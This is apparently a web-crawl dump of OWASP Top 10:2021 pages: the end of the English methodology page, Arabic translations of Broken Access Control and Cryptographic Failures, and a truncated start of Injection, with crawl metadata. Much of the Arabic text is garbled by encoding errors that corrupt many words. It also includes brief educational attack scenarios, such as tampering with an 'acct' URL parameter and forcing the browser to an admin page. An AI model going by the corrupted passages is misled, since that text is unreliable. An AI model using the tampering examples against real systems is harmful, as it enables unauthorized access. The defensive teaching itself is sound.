a more minor, isolated mistake or a systemic issue. When it's a systemic issue, the finding counts can be in the thousands for a single application. This high frequency drowns out most other vulnerabilities found in reports or data.\n\nTaH, on the other hand, will find a broader range of vulnerability types but at a much lower frequency due to time constraints. When humans test an application and see something like Cross-Site Scripting, they will typically find three or four instances and stop. They can determine a systemic finding and write it up with a recommendation to fix on an application-wide scale. There is no need (or time) to find every instance.\n\nSuppose we take these two distinct data sets and try to merge them on frequency. In that case, the Tooling and HaT data will drown the more accurate (but broad) TaH data and is a good part of why something like Cross-Site Scripting has been so highly ranked in many lists when the impact is generally low to moderate. It's because of the sheer volume of findings. (Cross-Site Scripting is also reasonably easy to test for, so there are many more tests for it as well).\n\nIn 2017, we introduced using incidence rate instead to take a fresh look at the data and cleanly merge Tooling and HaT data with TaH data. The incidence rate asks what percentage of the application population had at least one instance of a vulnerability type. We don't care if it was one-off or systemic. That's irrelevant for our purposes; we just need to know how many applications had at least one instance, which helps provide a clearer view of the testing is findings across multiple testing types without drowning the data in high-frequency results. This corresponds to a risk related view as an attacker needs only one instance to attack an application successfully via the category.\n\n## What is your data collection and analysis process?\n\nWe formalized the OWASP Top 10 data collection process at the Open Security Summit in 2017. OWASP Top 10 leaders and the community spent two days working out formalizing a transparent data collection process. The 2021 edition is the second time we have used this methodology.\n\nWe publish a call for data through social media channels available to us, both project and OWASP. On the OWASP Project page, we list the data elements and structure we are looking for and how to submit them. In the GitHub project, we have example files that serve as templates. We work with organizations as needed to help figure out the structure and mapping to CWEs.\n\nWe get data from organizations that are testing vendors by trade, bug bounty vendors, and organizations that contribute internal testing data. Once we have the data, we load it together and run a fundamental analysis of what CWEs map to risk categories. There is overlap between some CWEs, and others are very closely related (ex. Cryptographic vulnerabilities). Any decisions related to the raw data submitted are documented and published to be open and transparent with how we normalized the data.\n\nWe look at the eight categories with the highest incidence rates for inclusion in the Top 10. We also look at the Top 10 community survey results to see which ones may already be present in the data. The top two votes that aren't already present in the data will be selected for the other two places in the Top 10. Once all ten were selected, we applied generalized factors for exploitability and impact; to help rank the Top 10 2021 in a risk based order.\n\n## Data Factors\n\nThere are data factors that are listed for each of the Top 10 Categories, here is what they mean:\n\n- CWEs Mapped: The number of CWEs mapped to a category by the Top 10 team.\n- Incidence Rate: Incidence rate is the percentage of applications vulnerable to that CWE from the population tested by that org for that year.\n- (Testing) Coverage: The percentage of applications tested by all organizations for a given CWE.\n- Weighted Exploit: The Exploit sub-score from CVSSv2 and CVSSv3 scores assigned to CVEs mapped to CWEs, normalized, and placed on a 10pt scale.\n- Weighted Impact: The Impact sub-score from CVSSv2 and CVSSv3 scores assigned to CVEs mapped to CWEs, normalized, and placed on a 10pt scale.\n- Total Occurrences: Total number of applications found to have the CWEs mapped to a category.\n- Total CVEs: Total number of CVEs in the NVD DB that were mapped to the CWEs mapped to a category.\n\n## Thank you to our data contributors\n\nThe following organizations (along with some anonymous donors) kindly donated data for over 500,000 applications to make this the largest and most comprehensive application security data set. Without you, this would not be possible.\n\n- AppSec Labs\n- Cobalt.io\n- Contrast Security\n- GitLab\n- HackerOne\n- HCL Technologies\n- Micro Focus\n- PenTest-Tools\n- Probely\n- Sqreen\n- Veracode\n- WhiteHat (NTT)\n\n## Thank you to our sponsors\n\nThe OWASP Top 10 2021 team gratefully acknowledge the financial support of Secure Code Warrior and Just Eat.", "znaku_textu": 16625, "slov": 2732, "odkazu": 45, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:44:57", "sha256": "d5ac18c8e2a852dc5899d80d2925a7d64eaa6cf1b6dfd9e96cd5f7f00e7f71e5", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://securecodewarrior.com/", "https://www.just-eat.co.uk/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/ar/A01_2021-Broken_Access_Control/", "titulek": "A01 تخطي صلاحيات الوصول - OWASP Top 10:2021", "h1": "A01:2021 – تخطي صلاحيات الوصول", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/ar/A01_2021-Broken_Access_Control/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A01:2021 – تخطي صلاحيات الوصول"}, {"uroven": 2, "text": "العوامل"}, {"uroven": 2, "text": "نظرة عامة"}, {"uroven": 2, "text": "الوصف"}, {"uroven": 2, "text": "كيفية الحماية منها"}, {"uroven": 2, "text": "أمثلة على سيناريوهات الهجوŮ"}, {"uroven": 2, "text": "المصادر"}, {"uroven": 2, "text": "قائمة الربط مع ؼءاع CWEs"}], "markdown": "# A01:2021 – تخطي صلاحيات الوصول\n\n## العوامل\n\n| ربطها مع CWEs | الحد الأقصى للحدوث | متوسط معدل الحدوث | التغطية القصوى | متوسط معدل التغطية | متوسط استغلال الثغرات | متوسط التأثير | إجمالي التكرار | إجمالي نقاط الضعف CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 34 | 55.97% | 3.81% | 94.55% | 47.72% | 6.92 | 5.93 | 318,487 | 19,013 |\n\n## نظرة عامة\n\nؾؚد هذا المعيار من المركز الخامس في الإصدار السابق إلى الأول في هذا الإصدار بؚد ا؎تباع ؍غعات \"تخطي صلاحيات التحكم بالوصول\" على 94% من التطبيقات وقد لوحظ أنها تعاني من نقاط الضعف الشائعة \"CWEs” تشمل : CWE-200 و CWE-201 و CWE-352\n\n## الوصف\n\nتفع؜ صلاحيات التحكم بالوصول سياسات وقوانين مثل ان المستخدم لا يمكنه التصرف ؎اع؏ نطاق الأذونات الممنوحة له. ؚاد؊ ما تؤدي هذه الاخطاء الى كشف معلومات غير مصرح بها او التعديل عليها، او تخريب جميع البيانات أو حتى تنفيذ ؼ؏عاإات ؎اع؏ صلاحيات المستخدم المسموحة. تتضمن نقاط الضعف الشائعة لصلاحيات التحكم بالوصول:\n\n- ت؏اوز ؼ؏عاإات **التحقق من التحكم في الوصول** من خلال تعديل محدد فيURL، او تعديل الكائنات “objects” المرتبطة بالبرنامج داخل الذاكرة أو تعديل ؾفح؊ الـ HTML، أو ببساء؊ استخدام أدا؊ هجوم مخصصة لمهاجمة API\n- السماح بالتبديل بين مفتاح رئيسي “primary key” وسجلات مستخدم آ؎ع “users record”، مما قد يسمح باستؚعا؜ أو التعديل على حسابات أخرى\n- تصعيد الصلاحيات: التصرف كمستخدم من دون تسجيل الدخول او التصرف كمدير عند تسجيل الدخول بصلاحيات كمستخدم.\n- التلاعب في البيانات الوصفية \"meta data” كؼؚاد؊ إدخال أو التلاعب برمز التوثيق \"JSON Web Token (JWT)،\" أو التلاعب في ملفات الارتباط أو الحقول المخفية لغرض تصعيد الصلاحيات أو ؼساإ؊ استخدام الـ JWT\n- التهيئة الغير صحيحة لـ CORS تسمح بالدخول الغير مصرح به لواجهة برمجة التطبيقات API.\n- استؚعا؜ ؾفحات \"تستلزم المصادقة\" ؚبع مستخدمين \"غير مصادق عليهم\" أو الوصول الى ؾفحات ذات امتيازات عليا باستخدام صلاحيات “حساب مستخدم “، أو الوصول الى واجهة برمجة التطبيقات \"API” بو؏ود قصور في \"التحكم في صلاحيات الوصول\" مما يؤدي الى تنفيذ طلباتPOST، PUT، DELETE.\n\n## كيفية الحماية منها\n\nيكون \"التحكم بصلاحيات الوصول\" فعالا فقط عندما عند تطبيقه على **الشفرة المصدرية** من جهة الخوادم الموثوقة- trusted server-side code، أو الخوادم التي لا تملك واجهة برمجة تطبيقات والتي يطلق عليها (server-less API)، حيث لا يستطيع المهاجم تعديل \"صلاحيات التحكم بالوصول\" أو التلاعب في البيانات الوصفية.\n\n- باستثناء طلبات الوصول \"للموارد المتاحة للعامة\" يتم حظع جميع الطلبات بشكل افتراضي.\n- و؜ؚ الأليات التي تتحكم بالوصول لمرة واحد؊ في البرنامج/التطبيق مع ؼؚاد؊ استخدامها -هي نفسها- عند الحاجة، وأيضا تقليل استخدام CORS.\n- نموذج التحكم بالوصول يجب أن يفرض مُلكية السجل \" record ownership\" بدلًا من الموافقة على أن المستخدم يستطيع إنشاء، قراءة، تحديث، أو حذف أي سجل.\n- متطلّبات حدود تطبيقات الأعمال الفريدة من نوعها \"Unique application business limit\" يجب أن يتم فرضها خلال استخدام نماذج المجال (domain models).\n- تعطيل استؚعا؜ مجلدات خادم الويب والتأكد بأن ملف البيانات الوصفية \"Meta Data” وملفات النسخ الاحتياطي لا يتم الوصول اليها من خلال مجلد المسار الرئيسي \"Root\".\n- توثيق سجلات فشل التحكم في صلاحيات الوصول وتنبيه المسؤولين عند وقوع هذه الأخطاء.\n- تقييم Ř­ŘŻ الوصول إلى واجهة برمجة التطبيقات API وو؜ؚ Ř­ŘŻ لمعدّل الطلبات لتقليل الضرر الناجم عن أدوات الهجوم الآلي.\n- يجب التخلص من رموز JWT على الخادم بؚد تسجيل الخروج.\n\nيجب على فرق المطوّرين وموظفين قسم ضمان الجودة \"QA\" أن تتضمّن وحد؊ فعالة للتحكم في الوصول وؼ؏عاإ ا؎تباعات التكامل .\n\n## أمثلة على سيناريوهات الهجوŮ\n\n**سيناريو #1:** يستخدم التطبيق بيانات لم يتم التحقق منها في استدؚاإ SQL التي بدورها تصل الى معلومات الحساب:\n\n> pstmt.setString(1, request.getParameter(\"acct\"));\n> \n> ResultSet results = pstmt.executeQuery( );\n\nببساء؊ يقوم المهاجم بتعديل browser's 'acct' parameter لأرسال أي رقم حساب يريده. وؼذا لم يتم التحقق منه بشكل صحيح، يستطيع المهاجم الوصول لأي حساب مستخدم.\n\nhttps://example.com/app/accountInfo?acct=notmyacct\n\n**سيناريو #2:** : ببساء؊ يجبر المهاجم المتصفحات على زيارة العناوين الـ URLsالمستهدفة. والتي لا يستطيع الوصول اليها الا بصلاحيات المسؤول.\n\n> https://example.com/app/getappInfo\n> \n> https://example.com/app/admin_getappInfo\n\nيعتبر خللا اذا كان يمكن للمستخدم غير المصرح له الوصول الى اي من الصفحتين. يعتبر خللا اذا كان يمكن لغير المسؤول الوصول لصفحة المسؤول.\n\n## المصادر\n\n- [OWASP Proactive Controls: Enforce Access Controls](https://owasp.org/www-project-proactive-controls/v3/en/c7-enforce-access-controls)\n- [OWASP Application Security Verification Standard: V4 Access Control](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Testing Guide: Authorization Testing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/README)\n- [OWASP Cheat Sheet: Authorization](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)\n- [PortSwigger: Exploiting CORS\n misconfiguration](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)\n- [OAuth: Revoking Access](https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/)\n\n## قائمة الربط مع ؼءاع CWEs\n\n[CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](https://cwe.mitre.org/data/definitions/22.html)\n\n[CWE-23 Relative Path Traversal](https://cwe.mitre.org/data/definitions/23.html)\n\n[CWE-35 Path Traversal: '.../...//'](https://cwe.mitre.org/data/definitions/35.html)\n\n[CWE-59 Improper Link Resolution Before File Access ('Link Following')](https://cwe.mitre.org/data/definitions/59.html)\n\n[CWE-200 Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)\n\n[CWE-201 Exposure of Sensitive Information Through Sent Data](https://cwe.mitre.org/data/definitions/201.html)\n\n[CWE-219 Storage of File with Sensitive Data Under Web Root](https://cwe.mitre.org/data/definitions/219.html)\n\n[CWE-264 Permissions, Privileges, and Access Controls (should no longer be used)](https://cwe.mitre.org/data/definitions/264.html)\n\n[CWE-275 Permission Issues](https://cwe.mitre.org/data/definitions/275.html)\n\n[CWE-276 Incorrect Default Permissions](https://cwe.mitre.org/data/definitions/276.html)\n\n[CWE-284 Improper Access Control](https://cwe.mitre.org/data/definitions/284.html)\n\n[CWE-285 Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)\n\n[CWE-352 Cross-Site Request Forgery (CSRF)](https://cwe.mitre.org/data/definitions/352.html)\n\n[CWE-359 Exposure of Private Personal Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/359.html)\n\n[CWE-377 Insecure Temporary File](https://cwe.mitre.org/data/definitions/377.html)\n\n[CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak')](https://cwe.mitre.org/data/definitions/402.html)\n\n[CWE-425 Direct Request ('Forced Browsing')](https://cwe.mitre.org/data/definitions/425.html)\n\n[CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')](https://cwe.mitre.org/data/definitions/441.html)\n\n[CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere](https://cwe.mitre.org/data/definitions/497.html)\n\n[CWE-538 Insertion of Sensitive Information into Externally-Accessible File or Directory](https://cwe.mitre.org/data/definitions/538.html)\n\n[CWE-540 Inclusion of Sensitive Information in Source Code](https://cwe.mitre.org/data/definitions/540.html)\n\n[CWE-548 Exposure of Information Through Directory Listing](https://cwe.mitre.org/data/definitions/548.html)\n\n[CWE-552 Files or Directories Accessible to External Parties](https://cwe.mitre.org/data/definitions/552.html)\n\n[CWE-566 Authorization Bypass Through User-Controlled SQL Primary Key](https://cwe.mitre.org/data/definitions/566.html)\n\n[CWE-601 URL Redirection to Untrusted Site ('Open Redirect')](https://cwe.mitre.org/data/definitions/601.html)\n\n[CWE-639 Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)\n\n[CWE-651 Exposure of WSDL File Containing Sensitive Information](https://cwe.mitre.org/data/definitions/651.html)\n\n[CWE-668 Exposure of Resource to Wrong Sphere](https://cwe.mitre.org/data/definitions/668.html)\n\n[CWE-706 Use of Incorrectly-Resolved Name or Reference](https://cwe.mitre.org/data/definitions/706.html)\n\n[CWE-862 Missing Authorization](https://cwe.mitre.org/data/definitions/862.html)\n\n[CWE-863 Incorrect Authorization](https://cwe.mitre.org/data/definitions/863.html)\n\n[CWE-913 Improper Control of Dynamically-Managed Code Resources](https://cwe.mitre.org/data/definitions/913.html)\n\n[CWE-922 Insecure Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/922.html)\n\n[CWE-1275 Sensitive Cookie with Improper SameSite Attribute](https://cwe.mitre.org/data/definitions/1275.html)", "znaku_textu": 11037, "slov": 1084, "odkazu": 79, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:45:03", "sha256": "8e2309a947b72b63cc52c0f7b3c796f7d829b802f16fd78f14c09ddc7927c4e6", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html", "https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties", "https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/", "https://cwe.mitre.org/data/definitions/22.html", "https://cwe.mitre.org/data/definitions/23.html", "https://cwe.mitre.org/data/definitions/35.html", "https://cwe.mitre.org/data/definitions/59.html", "https://cwe.mitre.org/data/definitions/200.html", "https://cwe.mitre.org/data/definitions/201.html", "https://cwe.mitre.org/data/definitions/219.html", "https://cwe.mitre.org/data/definitions/264.html", "https://cwe.mitre.org/data/definitions/275.html", "https://cwe.mitre.org/data/definitions/276.html", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/352.html", "https://cwe.mitre.org/data/definitions/359.html", "https://cwe.mitre.org/data/definitions/377.html", "https://cwe.mitre.org/data/definitions/402.html", "https://cwe.mitre.org/data/definitions/425.html", "https://cwe.mitre.org/data/definitions/441.html", "https://cwe.mitre.org/data/definitions/497.html", "https://cwe.mitre.org/data/definitions/538.html", "https://cwe.mitre.org/data/definitions/540.html", "https://cwe.mitre.org/data/definitions/548.html", "https://cwe.mitre.org/data/definitions/552.html", "https://cwe.mitre.org/data/definitions/566.html", "https://cwe.mitre.org/data/definitions/601.html", "https://cwe.mitre.org/data/definitions/639.html", "https://cwe.mitre.org/data/definitions/651.html", "https://cwe.mitre.org/data/definitions/668.html", "https://cwe.mitre.org/data/definitions/706.html", "https://cwe.mitre.org/data/definitions/862.html", "https://cwe.mitre.org/data/definitions/863.html", "https://cwe.mitre.org/data/definitions/913.html", "https://cwe.mitre.org/data/definitions/922.html", "https://cwe.mitre.org/data/definitions/1275.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/ar/A02_2021-Cryptographic_Failures/", "titulek": "A02 فشل آلية التشفير - OWASP Top 10:2021", "h1": "A02:2021 – فشل آلية التشفير", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/ar/A02_2021-Cryptographic_Failures/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A02:2021 – فشل آلية التشفير"}, {"uroven": 2, "text": "العوامل"}, {"uroven": 2, "text": "نظرة عامة"}, {"uroven": 2, "text": "الوصف"}, {"uroven": 2, "text": "كيفية الحماية منها"}, {"uroven": 2, "text": "أمثلة على سيناريوهات الهجوŮ"}, {"uroven": 2, "text": "المصادر"}, {"uroven": 2, "text": "قائمة الربط مع ؼءاع CWEs"}], "markdown": "# A02:2021 – فشل آلية التشفير\n\n## العوامل\n\n| ربطها مع CWEs | الحد الأقصى للحدوث | متوسط معدل الحدوث | التغطية القصوى | متوسط معدل التغطية | متوسط استغلال الثغرات | متوسط التأثير | إجمالي التكرار | إجمالي نقاط الضعف CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 29 | 46.44% | 4.49% | 79.33% | 34.85% | 7.29 | 6.81 | 233,788 | 3,075 |\n\n## نظرة عامة\n\nيأتي فشل آلية التشفير في المرتبة رقم #2 والتي كانت تؚعف “بالبيانات الحساسة الغير محمية أو المكشوفة\" والتي قد تكون أسبابها متعدّدة أك؍ع من كونها ناتجة عن سبب جذري واحد، ويأتي التركيز هنا على حالات الفشل في التشفير والتي غالبًا ما تؤدي إلى كشف غير مصرّح به للبيانات الحساسة. تم ملاحظة أن نقاط الضعف الشائعة CWEs تشمل: CWE-259: استخدام كلمة المرور المضمنة مسبقًا \"\" ، CWE-327: خوارزمية تشفير مُعطّلة أو محفوفة بالمخاطر، و CWE-331 التشتت الغير فعّال أو بؚباع؊ أخرى -عشوائية بشكل غير كافي-” Insufficient Entropy”.\n\n## الوصف\n\nأولًا، تحديد احتياجات حماية **البيانات أثناء النقل** (Data in transit) وأثناء التخزين (Data at rest). على سبيل المثال، تتطلّب كل من (كلمات المرور وأرقام بطاقات الائتمان والسجلات الصحيّة والمعلومات الشخصية وأسعاع العمل) تتطلّب حماية إضافية ولا سيّما ؼذا كانت تلك البيانات تندرج ŘŞŘ­ŘŞ قوانين الخصوصية مثل اللائحة العامة لحماية البيانات في الاتحاد الأوروبي (GDPR)، أو التنظيمات، و على سبيل المثال تنظيمات حماية البيانات المالية مثل معيار PCI لأمان البيانات أو معيار (PCI DSS) لجميع البيانات المالية.\n\n- هل يتم نقل أي بيانات من غير تشفير؟ يعتمد هذا على البروتوكولات مثل HTTP وSMTP وFTP. كذلك لابد من التحقق من مسار تدفّق البيانات و حركتها داخل الشبكة الداخلية، على سبيل المثال، حعك؊ البيانات بين **موازنات التحميل**\"load balancers\" أو خوادم الويب أو الأنظمة الخلفية \"Back-end systems\" .\n- هل يتم استخدام أي خوارزميات تشفير قديمة أو ضعيفة إما بشكل افتراضي أو في التعليمات البرمجية القديمة؟\n- هل مفاتيح التشفير الافتراضية قيد الاستخدام؟ هل يتم توليد مفاتيح تشفير ضعيفة أو يتم ؼؚاد؊ استخدام مفاتيح من شفع؊ مصدرية افتراضية أو من شفع؊ مصدرية قديمة؟ هل تتم ؼداع؊ المفاتيح و ؼؚاد؊ تدويرها بشكل جيد؟ (rotation missing)؟\n- هل التشفير غير مفروض؟ على سبيل المثال، هل يتم إرسال واستخدام عناوين \"Headers\" الصحيحة والمطلوبة فقط عند إرسال البيانات الحساسة أو عند استقبالها من قِبل المتصفّح؟\n- هل وكيل المستخدم (مثل المتصفّح أو برمجية استخدام البريد الإلكتروني) لا يتحقّق ما ؼذا كانت شهادة الخادم المستلمة صالحة وفعّالة؟\n\nهناك الكثير من المشاكل التي يجب تجنّبها، انظر ASVS Crypto (V7) , Data Protection (V9), and SSL/TLS (V10)\n\n## كيفية الحماية منها\n\nيجب عمل ما يلي على الأقل لحماية البيانات الحساسة:\n\n- تصنيف البيانات التي تتم معالجتها أو تخزينها أو إرسالها بواسء؊ تطبيق ما. تحديد البيانات الحساسة وفقًا لقوانين الخصوصية أو المتطلبات التنظيمية أو احتياجات العمل.\n- تطبيق الضوابط بناءً على التصنيف.\n- لا تقم بتخزين بيانات حساس؊ غير مطلوبة، قم بتجاهلها والتخلّص منها في أقرب وقت ممكن لأن البيانات التي لا تملكها لا يمكن سرقتها.\n- تأكّد من تشفير جميع البيانات الحساسة المخزنة.\n- ضمان استخدام خوارزميات وبروتوكولات ومفاتيح تشفير محدّثة وذات معايير صارمة كذلك ؼداع؊ المفاتيح بشكل جيد ومناسب.\n- قم بتشفير جميع البيانات أثناء النقل باستخدام بروتوكولات آمنة مثل TLS مع شفع؊ الـ Perfect Forward Secrecy (PFS)، وتحديد أولويات التشفير والمعطيات الآمنة بواسء؊ الخادم و كذلك فع؜ التشفير باستخدام التوجيهات مثل HTTP Strict Transport Security (HSTS).\n- تعطيل خاصية التخزين المؤقت في الصفحات \"caching\" للردود التي تحتوي على بيانات حساس؊.\n- قم بتخزين كلمات المرور باستخدام دوال اختزال متكيّفة وقوية **مع بيانات عشوائية إضافية** \" salted \" ، مثل Argon2 أو scrypt أو bcrypt أو PBKDF2.\n- تحقق بشكل مستقل من فعالية التكوين والإعدادات.\n\n## أمثلة على سيناريوهات الهجوŮ\n\n**سيناريو #1**: تطبيق يقوم بتشفير أرقام البطاقات الائتمانية باستخدام التشفير الآلي المتوفر مع قاعدة البيانات. لكن هذا يعني أنه بإمكان قاعدة البيانات فكّ التشفير آليًا عند طلب البيانات منها، مما قد يُعرّض أرقام البطاقات الائتمانية للسّرقة عند استغلال ؍غع؊ حقن \"SQL”، لذلك، يجب تشفير أرقام البطاقات الائتمانية باستخدام مفتاح عام \"Public Key\" والسماح فقط للبنية التحتية للتطبيق بفكّ التشفير باستخدام المفتاح الخاص \"Private Key\".\n\n**سيناريو #2**:الموقع الذي لا يستخدم بروتوكول TLS لكافة الصفحات أو أن الموقع يدعم التشفير الضعيف، حيث يراقب المهاجم حعك؊ مرور البيانات في الشبكة (على سبيل المثال، في الشبكات اللاسلكية الغير آمنة) ينخفض مستوى الاتصال من HTTPS إلى HTTP، ويعترض الطلبات و يستطيع السطو على **بيانات جلسات الاتصالات** \"Session Cookie\" للمستخدم، ثم يعيد المهاجم إرسال واستخدام بيانات جلسة اتصال المستخدم ( التي سبق و تم المصادقة عليها) فيتمكن من الوصول إلى بيانات المستخدم الخاصة أو تعديلها و يمكن استبدالها مما يؤدي إلى تغيير أي من البيانات المنقولة، مثل الجهة المتلقية لتحويل الأموال.\n\n**سيناريو #3**: قاعدة بيانات كلمات المرور لا تستخدم بيانات عشوائية إضافية \"salted “أو ؼ؜اف؊ بيانات عشوائية ذات نمط بسيط غير عشوائي بالقدر الكافي استخدام **دوال اختزال غير مُضاف لها بيانات عشوائية** \"unsalted hashes \" لتخزين كلمات مرور جميع المستخدمين. عندما تو؏د ؍غع؊ في خاصية عفؚ الملفات والتي تسمح للمهاجم باستؚاد؊ وتحميل قاعدة بيانات كلمات المرور. و بالتالي تتعرّض جميع كلمات المرور التي تم الكشف عنها لكسر حماية خوارزمياتها باستخدام جداول تحتوي على كلمات سرية مُعدّة مسبقًا \"rainbow table of pre-calculated hashes\". قد يتم كسع الـ\"hashes\" التي تم إنشاؤها بشكل بسيط وسريع، في حال استخدمت بطاقات المعالجة الرسومية\"GPUs\" حتى وإن تم ؼ؜اف؊ بيانات عشوائية \"salt\".\n\n## المصادر\n\n- [OWASP Proactive Controls: Protect Data\n Everywhere](https://owasp.org/www-project-proactive-controls/v3/en/c8-protect-data-everywhere)\n- [OWASP Application Security Verification Standard (V7,\n 9, 10)](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Cheat Sheet: Transport Layer\n Protection](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: User Privacy\n Protection](https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html)\n- OWASP Cheat Sheet: Password and Cryptographic Storage\n- [OWASP Cheat Sheet:\n HSTS](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n- OWASP Testing Guide: Testing for weak cryptography\n\n## قائمة الربط مع ؼءاع CWEs\n\nCWE-261 Weak Encoding for Password\n\nCWE-296 Improper Following of a Certificate's Chain of Trust\n\nCWE-310 Cryptographic Issues\n\nCWE-319 Cleartext Transmission of Sensitive Information\n\nCWE-321 Use of Hard-coded Cryptographic Key\n\nCWE-322 Key Exchange without Entity Authentication\n\nCWE-323 Reusing a Nonce, Key Pair in Encryption\n\nCWE-324 Use of a Key Past its Expiration Date\n\nCWE-325 Missing Required Cryptographic Step\n\nCWE-326 Inadequate Encryption Strength\n\nCWE-327 Use of a Broken or Risky Cryptographic Algorithm\n\nCWE-328 Reversible One-Way Hash\n\nCWE-329 Not Using a Random IV with CBC Mode\n\nCWE-330 Use of Insufficiently Random Values\n\nCWE-331 Insufficient Entropy\n\nCWE-335 Incorrect Usage of Seeds in Pseudo-Random Number Generator\n(PRNG)\n\nCWE-336 Same Seed in Pseudo-Random Number Generator (PRNG)\n\nCWE-337 Predictable Seed in Pseudo-Random Number Generator (PRNG)\n\nCWE-338 Use of Cryptographically Weak Pseudo-Random Number Generator\n(PRNG)\n\nCWE-340 Generation of Predictable Numbers or Identifiers\n\nCWE-347 Improper Verification of Cryptographic Signature\n\nCWE-523 Unprotected Transport of Credentials\n\nCWE-720 OWASP Top Ten 2007 Category A9 - Insecure Communications\n\nCWE-757 Selection of Less-Secure Algorithm During Negotiation\n('Algorithm Downgrade')\n\nCWE-759 Use of a One-Way Hash without a Salt\n\nCWE-760 Use of a One-Way Hash with a Predictable Salt\n\nCWE-780 Use of RSA Algorithm without OAEP\n\nCWE-818 Insufficient Transport Layer Protection\n\nCWE-916 Use of Password Hash With Insufficient Computational Effort", "znaku_textu": 10975, "slov": 1318, "odkazu": 44, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:45:03", "sha256": "c34f0d25037af60299bb76491eb50bb84932ddabb5e08ea3681f4d506e52e858", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/ar/A03_2021-Injection/", "titulek": "A03 الحقن - OWASP Top 10:2021", "h1": "A03:2021 – الحقن", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/ar/A03_2021-Injection/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A03:2021 – الحقن"}, {"uroven": 2, "text": "العوامل"}, {"uroven": 2, "text": "نظرة عامة"}, {"uroven": 2, "text": "الوصف"}, {"uroven": 2, "text": "كيفية الحماية منها"}, {"uroven": 2, "text": "أمثلة على سيناريوهات الهجوŮ"}, {"uroven": 2, "text": "المصادر"}, {"uroven": 2, "text": "قائمة الربط مع ؼءاع CWEs"}], "markdown": "# A03:2021 – الحقن\n\n## العوامل\n\n| ربطها مع CWEs | الحد الأقصى للحدوث | متوسط معدل الحدوث | التغطية القصوى | متوسط معدل التغطية | متوسط استغلال الثغرات | متوسط التأثير | إجمالي التكرار | إجمالي نقاط الضعف CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 33 | 19.09% | 3.37% | 94.04% | 47.90% | 7.25 | 7.15 | 274,228 | 32,078 |\n\n## نظرة عامة\n\nهجمات الحقن تحتل المركز الثالث، حيث أن 94ŮŞ من التطبيقات التي تم فحصها مهدّدة بصنف واحد أو أك؍ع من هجمات الحقن المرتبطة مع CWE-79، CWE-89، CWE-73\n\n## الوصف\n\nيكون البرنامج معرض للإصابة بهذه الهجمات عندما:\n\n- ؼذا كانت المدخلات المزوّدة من المستخدم غير مُتحقّق منها أو غير موثوقة، أو لم يتم تصفيتها من قِبل البرنامج.\n- تمرير طلبات الاستعلامات الديناميكية أو استدؚاإ بيانات غير محدّدة المعاملات (Non-Parameterized) 